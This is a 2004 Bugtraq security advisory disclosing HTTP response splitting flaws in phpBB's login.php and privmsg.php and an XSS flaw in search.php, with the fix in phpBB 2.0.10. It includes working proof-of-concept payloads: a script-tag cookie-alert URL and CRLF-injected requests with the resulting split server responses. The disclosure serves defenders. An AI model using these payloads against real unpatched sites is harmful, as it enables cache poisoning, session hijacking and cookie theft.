bugtraq - PhpBB HTTP Response Splitting & Cross Site Scripting vulnerabilities

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Date: Tue, 20 Jul 2004 09:21:19 +0300
From: Ory Segal <ory.segal@...ctuminc.com>
To: bugtraq@...urityfocus.com, webappsec@...urityfocus.com
Subject: PhpBB HTTP Response Splitting & Cross Site Scripting vulnerabilities


/////////////////////////////////////////////////////////////////////
//===================>> Security Advisory <<=======================//
/////////////////////////////////////////////////////////////////////

---------------------------------------------------------------------
---[ PhpBB HTTP Response Splitting & Cross Site Scripting vuln.
---------------------------------------------------------------------

--[ Author: Ory Segal , Sanctum inc. http://www.SanctumInc.com
--[ Discovery Date: 14/7/2004
--[ Release Date: 18/7/2004
--[ Product: PhpBB 2.0.x (was tested on 2.0.4, 2.0.9)
--[ Severity: High

--[ HTTP Response Splitting details

Two scripts are vulnerable to HTTP Response Splitting attacks:

- /phpBB2/privmsg.php ('mode' parameter)
- /phpBB2/login.php ('redirect' parameter)

These vulnerabilities may allow an attacker to perform various
attacks such as web cache poisoning, cross user defacement, hijacking
pages with sensitive user information and perform cross-site
scripting attacks.

--[ Cross Site Scripting details

When gpc magic quotes are turned off in php.ini, the script
'/phpBB2/search.php' is vulnerable to XSS in the 'search_author'
parameter. This vulnerability may lead to theft of cookies associated
with the domain, or execution of client-side scripts in the user's
browser.

--[ Additional information

Detailed information on HTTP Response Splitting can be found in the
white paper "HTTP Response Splitting, Web Cache Poisoning Attacks,
and Related Topics" (Written by Amit Klein of Sanctum inc.)

http://www.sanctuminc.com/pdf/WhitePaper_HTTPResponse.pdf

Note [1]: The HTTP Response Splitting vulnerabilities do not require
the user to be logged in to the application.

Note [2]: These vulnerabilities were discovered on PhpBB 2.0.9,
installed on Win2K server with IIS/5.0, and PHP/4.3.4 (was also
validated on PHP/4.3.8)

Note [3]: In theory these HTTP Response Splitting vulnerabilities
should work on Microsoft web servers, WebSTAR and Xitami.

--[ Exploit Requests / URLs

-[ XSS Example

The following request will present a pop-up window containing the
current session's cookies: (REQUEST IS WORD-WRAPPED!)

http://SERVER/phpBB2/search.php?search_author='<script>alert(document
.cookie)</script>

-[ HTTP Response Splitting Example [1]

The following request will cause the application to return a split
response (REQUEST and RESPONSE ARE WORD-WRAPPED!)

[REQUEST]

POST /phpBB2/login.php HTTP/1.0
Host: SERVER
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Accept-Encoding: gzip
Accept-Language: en
Accept-Charset: iso-8859-1,*,utf-8
Content-Type: application/x-www-form-urlencoded
Content-length: 129

logout=foobar&redirect=foobar%0d%0aContent-Length:%200%0d%0a%0d%0aHTT
P/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!

[RESPONSE]

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 09:48:04 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
09:48:04 GMT; path=/
Set-Cookie: phpbb2mysql_sid=b389d63f8226cc6c8ad349b3aadf41f3; path=/
Refresh: 0; URL=http://SERVER/phpBB2foobar
Content-Length: 0

HTTP/1.0 200 OK
Content-Length: 7

Gotcha!
...
...
...

-[ HTTP Response Splitting Example [2]

The following request will cause the application to return a split
response (REQUEST and RESPONSE ARE WORD-WRAPPED!)

[REQUEST]

GET /phpBB2/privmsg.php?mode=foobar%0d%0aContent-Length:%200%0d%0a%0d
%0aHTTP/1.0%20200%20OK%0d%0aContent-Length:%207%0d%0a%0d%0aGotcha!
HTTP/1.0
Proxy-Connection: Keep-Alive
User-Agent: Mozilla/4.7 [en] (WinNT; I)
Host: SERVER

[RESPONSE]

HTTP/1.1 200 OK
Server: Microsoft-IIS/5.0
Date: Wed, 14 Jul 2004 12:42:17 GMT
Content-type: text/html
X-Powered-By: PHP/4.3.4
Set-Cookie: phpbb2mysql_data=a%3A0%3A%7B%7D; expires=Thu, 14-Jul-2005
12:42:17 GMT; path=/
Set-Cookie: phpbb2mysql_sid=74d20cacbfcd9d7b16e0bb86a345aea3; path=/
Refresh: 0; URL=http://SERVER/phpBB2login.php?redirect=privmsg
.php&folder=inbox&mode=foobar
Content-Length: 0

HTTP/1.0 200 OK
Content-Length: 7

Gotcha!&sid=74d20cacbfcd9d7b16e0bb86a345aea3
...
...
...
--[ Solution

According to the vendor, these issues are addressed in PhpBB 2.0.10

--[ Acknowledgements

Amit Klein, for helping with the research of the HTTP Response
Splitting vulnerabilities in PhpBB (and for discovering HTTP Response
Splitting in the first place